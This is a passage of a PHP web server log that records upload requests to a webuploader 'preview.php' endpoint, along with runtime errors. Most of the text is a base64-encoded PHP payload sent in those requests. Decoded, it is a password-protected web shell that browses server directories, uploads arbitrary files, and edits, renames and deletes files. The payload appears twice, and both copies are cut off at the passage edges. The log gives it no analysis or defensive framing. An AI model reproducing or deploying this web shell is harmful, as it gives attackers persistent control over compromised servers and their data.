09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'iscwo_kaifu' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:15+08:00 ] 119.42.146.234 POST 51tianwei.com/statics/webuploader/0.1.15/server/preview.php [运行时间:0.002786s] [吞吐率:358.95req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'statics', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgf